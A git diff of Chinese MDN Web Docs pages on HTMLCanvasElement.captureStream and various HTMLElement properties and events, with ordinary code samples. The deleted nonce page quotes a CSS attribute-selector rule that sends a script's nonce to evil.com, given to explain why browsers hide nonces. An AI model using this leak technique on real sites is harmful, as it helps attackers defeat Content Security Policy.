[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

+
+ +

相关链接

+ +
    +
  • {{domxref("HTMLImageElement.referrer")}}、{{domxref("HTMLAreaElement.referrer")}}、{{domxref("HTMLIFrameElement.referrer")}}
  • +
diff --git a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html new file mode 100644 index 0000000000..999485b6f6 --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html @@ -0,0 +1,122 @@ +--- +title: HTMLCanvasElement.captureStream() +slug: Web/API/HTMLCanvasElement/捕获流 +translation_of: Web/API/HTMLCanvasElement/captureStream +--- +
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
+ +

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

+ +

语法

+ +
MediaStream = canvas.captureStream(frameRate);
+
+ +

参数

+ +
+
frameRate 可选
+
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
+
+ +

返回值

+ +

对一个 {{domxref("MediaStream")}} 对象的引用.

+ +

例子

+ +
//获取所需要截取媒体流的canvas element
+var canvasElt = document.querySelector('canvas');
+
+//截取到媒体流
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+//使用媒体流
+// E.g.使用RTCPeerConnection来传输给其它的电脑
+// 下面的pc是其他地方创建的一个RTCPeerConnection
+pc.addStream(stream);
+
+ +

产品规格

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

+ +

看看其他

+ +
    +
  • {{domxref("CanvasCaptureMediaStream")}},所属接口.
  • +
  • {{domxref("HTMLMediaElement.captureStream()")}}, 允许从一个媒体中获取流
  • +
  • {{domxref("MediaStream")}}
  • +
  • {{domxref("Media Capture and Streams API")}}
  • +
diff --git "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" "b/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" deleted file mode 100644 index 999485b6f6..0000000000 --- "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: HTMLCanvasElement.captureStream() -slug: Web/API/HTMLCanvasElement/捕获流 -translation_of: Web/API/HTMLCanvasElement/captureStream ---- -
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
- -

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

- -

语法

- -
MediaStream = canvas.captureStream(frameRate);
-
- -

参数

- -
-
frameRate 可选
-
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
-
- -

返回值

- -

对一个 {{domxref("MediaStream")}} 对象的引用.

- -

例子

- -
//获取所需要截取媒体流的canvas element
-var canvasElt = document.querySelector('canvas');
-
-//截取到媒体流
-var stream = canvasElt.captureStream(25); // 25 FPS
-
-//使用媒体流
-// E.g.使用RTCPeerConnection来传输给其它的电脑
-// 下面的pc是其他地方创建的一个RTCPeerConnection
-pc.addStream(stream);
-
- -

产品规格

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
-
- -

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

- -

看看其他

- -
    -
  • {{domxref("CanvasCaptureMediaStream")}},所属接口.
  • -
  • {{domxref("HTMLMediaElement.captureStream()")}}, 允许从一个媒体中获取流
  • -
  • {{domxref("MediaStream")}}
  • -
  • {{domxref("Media Capture and Streams API")}}
  • -
diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html new file mode 100644 index 0000000000..4f76e7f784 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -0,0 +1,23 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API接口 + - 属性 + - 需要丰富内容 +translation_of: Web/API/HTMLElement/accessKey +translation_of_original: Web/API/Element/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

+ +
+

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

+
+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html new file mode 100644 index 0000000000..cb701ac392 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -0,0 +1,92 @@ +--- +title: animationend +slug: Web/Events/animationend +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationend +translation_of: Web/API/HTMLElement/animationend_event +--- +

animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

+ +

常规信息

+ +
+
规范
+
{{SpecName("CSS3 Animations")}}
+
接口
+
{{domxref("AnimationEvent")}}
+
是否冒泡
+
+
事件可取消
+
+
目标
+
{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}
+
默认行为
+
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件目标(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积,动画总活动的时长。
+ +

相关事件

+ +
    +
  • {{Event("animationstart")}}
  • +
  • {{Event("animationiteration")}}
  • +
  • {{Event("animationcancel")}}
  • +
+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html new file mode 100644 index 0000000000..53929bfb0d --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -0,0 +1,89 @@ +--- +title: animationstart +slug: Web/Events/animationstart +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationstart +translation_of: Web/API/HTMLElement/animationstart_event +--- +

animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

+ +

基本信息

+ +
+
规格
+
CSS Animations
+
接口
+
AnimationEvent
+
是否冒泡
+
+
事件可取消
+
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件来源(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。此值应为 0 除非 animation-delay 是一个负值,这种情况下此值为 (-1 * {{cssxref("animation-delay")}}),并且动画将直接从此值后的序列开始播放。
+ +

相关事件

+ +
    +
  • {{Event("animationstart")}}
  • +
  • {{Event("animationend")}}
  • +
  • {{Event("animationiteration")}}
  • +
+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html deleted file mode 100644 index 96452abcc0..0000000000 --- a/files/zh-cn/web/api/htmlelement/blur/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur ---- -

{{ APIRef() }}

-

概述

-

blur方法用来移除当前元素所获得的键盘焦点.

-

语法

-
element.blur()
-
-

规范

-

blur

-

相关链接

- -

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html new file mode 100644 index 0000000000..6a997fc430 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -0,0 +1,124 @@ +--- +title: change +slug: Web/Events/change +tags: + - Change + - HTML + - HTML DOM + - HTMLElement + - change vs. input + - 事件 + - 参考 +translation_of: Web/API/HTMLElement/change_event +--- +

{{APIRef}}

+ +

当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时,change 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样,change 事件并不是每次元素的 value 改变时都会触发。

+ + + + + + + + + + + + + + + + + + + + +
冒泡
可取消
接口{{domxref("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers/onchange", "onchange")}}
+ +

基于表单元素的类型和用户对标签的操作的不同,change 事件触发的时机也不同:

+ +
    +
  • 当元素是 :checked 状态时(通过点击或者使用键盘),见于 {{HTMLElement('input/radio', '<input type="radio">')}} 和 {{HTMLElement('input/checkbox', '<input type="checkbox">')}}
  • +
  • 当用户显式提交改变时(例如:点击了 {{HTMLElement("select")}}中的一个选项,从 {{HTMLElement('input/date', '<input type="date">')}} 标签选择了一个日期,通过 {{HTMLElement('input/file', '<input type="file">')}} 标签上传了一个文件等);
  • +
  • 当标签的值被修改并且失去焦点后,但未提交时(例如:对{{HTMLElement("textarea")}} 或者 {{HTMLElement('input/text', '<input type="text">')}}的值进行编辑后)。
  • +
+ +

示例

+ +

<select> 元素

+ +

HTML

+ +
<label>Choose an ice cream flavor:
+  <select class="ice-cream" name="ice-cream">
+    <option value="">Select One …</option>
+    <option value="chocolate">Chocolate</option>
+    <option value="sardine">Sardine</option>
+    <option value="vanilla">Vanilla</option>
+  </select>
+</label>
+
+<div class="result"></div>
+ +
body {
+  display: grid;
+  grid-template-areas: "select result";
+}
+
+select {
+  grid-area: select;
+}
+
+.result {
+  grid-area: result;
+}
+
+ +

JavaScript

+ +
const selectElement = document.querySelector('.ice-cream');
+
+selectElement.addEventListener('change', (event) => {
+  const result = document.querySelector('.result');
+  result.textContent = `You like ${event.target.value}`;
+});
+
+ +

结果

+ + + +

文本输入元素

+ +

对于一些元素,包括 <input type="text">change 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字,然后点击输入框外的地方来触发事件。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('change', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

结果

+ + + +

浏览器兼容性

+ +

{{Compat("api.GlobalEventHandlers.onchange")}}

+ +

对于一些特定类型的交互是否要触发 change 事件,不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 change 事件,直到用户按下 Enter 键或将焦点从 <select> 上移走(参见 {{bug("126379")}})。但从 Firefox 63(Quantum)开始,这个行为在已经在主流浏览器中达成一致。

+ +

参见

+ +

{{domxref("NetworkInformation.connection")}} fires the change event when the connection information changes.

diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html deleted file mode 100644 index 63ab5f48e8..0000000000 --- a/files/zh-cn/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -

{{ APIRef }}

- -

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

- -

它是一个DOMString的映射,每个自定义数据属性的一个条目。

- -

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

- -

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

- -
    -
  • 在HTML中的一个自定义数据属性的名称以 data- 开头。它只能包含字母,数字和以下字符: dash (-), dot (.), colon (:), underscore (_)  - 但不是任何ASCII大写字母(A到Z)。
  • -
  • JavaScript 中的一个自定义数据属性的名称是相同HTML属性的名称,但在 camelCase中,没有破折号,点等。
  • -
- -

 

- -

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

- -

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

- -
    -
  • 前缀  data- 被去除(包括减号);
  • -
  • 对于每个在ASCII小写字母 a到 z前面的减号 (U+002D),减号会被去除,并且字母会转变成对应的大写字母。
  • -
  • 其他字符(包含其他减号)都不发生变化
  • -
- -

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

- -
    -
  • 约束:减号在转变前一定不能紧跟一个ASCII小写字母 a 到 z之间;
  • -
  • 添加 data- 前缀;
  • -
  • 任何ASCII大写字母 A 到 Z 将转化成一个减号紧跟对应的小写字母;
  • -
  • 其他字符不会发生变化
  • -
- -

上面规则的约束是为了保证这两种转换是正好相反的转换。

- -

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

- -

语法

- -
string = element.dataset.camelCasedName;
-element.dataset.camelCasedName = string;
- -

实例

- -
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
-</div>
-
-var el = document.querySelector('#user');
-
-// el.id == 'user'
-// el.dataset.id === '1234567890'
-// el.dataset.user === 'johndoe'
-// el.dataset.dateOfBirth === ''
-
-el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
-
-// 'someDataAttr' in el.dataset === false
-
-el.dataset.someDataAttr = 'mydata';
-// 'someDataAttr' in el.dataset === true
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
-
- -

 

diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html deleted file mode 100644 index eb47aff613..0000000000 --- a/files/zh-cn/web/api/htmlelement/focus/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

- -

语法

- -
element.focus(options); // Object parameter
- -

参数

- -
-
options {{optional_inline}}
-
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
-
-
-
preventScroll {{optional_inline}}
-
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
-
-
-
- -

示例

- -

将焦点设置到文本框上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myTextField").focus();
-}
- -

HTML

- -
<input type="text" id="myTextField" value="Text field.">
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
-
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_text_field') }}

- -

将焦点设置到按钮上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myButton").focus();
-}
- -

HTML

- -
<button type="button" id="myButton">Click Me!</button>
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_button') }}

- -

Focus with focusOption

- -

JavaScript

- -
focusScrollMethod = function getFocus() {
-  document.getElementById("myButton").focus({preventScroll:false});
-}
-focusNoScrollMethod = function getFocusWithoutScrolling() {
-  document.getElementById("myButton").focus({preventScroll:true});
-}
-
-
- -

HTML

- -
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
-<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
-
-<div id="container" style="height: 1000px; width: 1000px;">
-<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
-</div>
-
-
- -

结果

- -

{{ EmbedLiveSample('Focus_prevent_scroll') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
- -

备注

- -
    -
  • If you call HTMLElement.focus() from a mousedown event handler, you must call event.preventDefault() to keep the focus from leaving the HTMLElement
  • -
  • -

    Behaviour of the focus in relation to different HTML features like {{HTMLAttrxRef("tabindex")}} or {{Glossary("shadow tree","shadow dom", 1)}}, which previously remained under-specified, were recently updated (as October of 2019). Checkout WHATWG blog for more info.

    -
  • -
- -

浏览器兼容性

- - - -

{{Compat("api.HTMLElement.focus")}}

- -

参见

- -
    -
  • DOM method {{domxref("HTMLElement.blur()")}} to remove the focus from an element.
  • -
  • {{ domxref("document.activeElement") }} to know which is the currently focused element.
  • -
diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html new file mode 100644 index 0000000000..3062dda65f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

+ +
+

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

+
+ +

语法

+ +
var renderedText = HTMLElement.innerText;
+HTMLElement.innerText = string;
+ +

输出值

+ +

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

+ +

例子

+ +

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

+ +

HTML

+ +
<h3>Source element:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+Take a look at<br>how this text<br>is interpreted
+       below.
+  <span style="display:none">HIDDEN TEXT</span>
+</p>
+<h3>Result of textContent:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>Result of innerText:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

结果

+ +

{{EmbedLiveSample("Example", 700, 450)}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

浏览器兼容

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

+ +

参见

+ +
    +
  • {{domxref("HTMLElement.outerText")}}
  • +
  • {{domxref("Element.innerHTML")}}
  • +
diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..7ee1b98ad5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -0,0 +1,157 @@ +--- +title: input +slug: Web/Events/input +tags: + - HTML DOM + - HTMLElement + - Input + - 事件 + - 参考 + - 表单 + - 输入 +translation_of: Web/API/HTMLElement/input_event +--- +

{{APIRef}}

+ +

当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 被修改时,会触发 input 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{DOMxRef("InputEvent")}}
Event handler property{{domxref("GlobalEventHandlers.oninput")}}
+ +

input 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素,以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在contenteditable 和 designMode 的情况下,事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上,当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。

+ +

对于 type=checkboxtype=radioinput 元素,每当用户切换控件(通过触摸、鼠标或键盘)时(HTML5规范),input 事件都应该触发。然而,历史事实并非如此。请检查兼容性,或使用 {{event("change")}} 事件代替这些类型的元素。

+ +
+

注意: 每当元素的 value 改变,input 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发,如按回车键,从一个 options 列表中选择一个值等。

+
+ +

示例

+ +

每当用户修改 {{HtmlElement("input")}} 元素的 value 时,这个示例会记录 value。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.srcElement.value;
+}
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLElement.input_event")}}

+ +
+ +

[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前,用户在输入法中输入时,或者 dead keys were used on Mac OS X 时,Gecko 不触发 input 事件。

+ +

[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如,按 Backspace 或者删除键,或者“剪切”文字).

+ +

[3] Opera 在用户把文字拖进输入框时,不触发 input 事件。

+ +

[4] 事件 target 是光标所在的最内侧的元素。

+ +

参见

+ +
    +
  • {{event("keydown")}}
  • +
  • {{event("keyup")}}
  • +
  • {{event("keypress")}}
  • +
  • {{event("input")}}
  • +
  • {{domxref("HTMLElement/beforeinput_event", "beforeinput")}}
  • +
  • {{domxref("HTMLElement/change_event", "change")}}
  • +
  • {{domxref("HTMLInputElement/invalid_event", "invalid")}}
  • +
+ +

此外,还有一个类似的 change 事件。change 触发的频率低于 input - 它只会在用户提交更改时触发。

+ +

+ +

diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html deleted file mode 100644 index b2c6c829b1..0000000000 --- a/files/zh-cn/web/api/htmlelement/nonce/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
- - -

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html deleted file mode 100644 index 2b825c80cc..0000000000 --- a/files/zh-cn/web/api/htmlelement/style/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: HTMLElement.style -slug: Web/API/HTMLElement/style -translation_of: Web/API/ElementCSSInlineStyle/style ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

- -

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

- -

设置 style 属性

- -

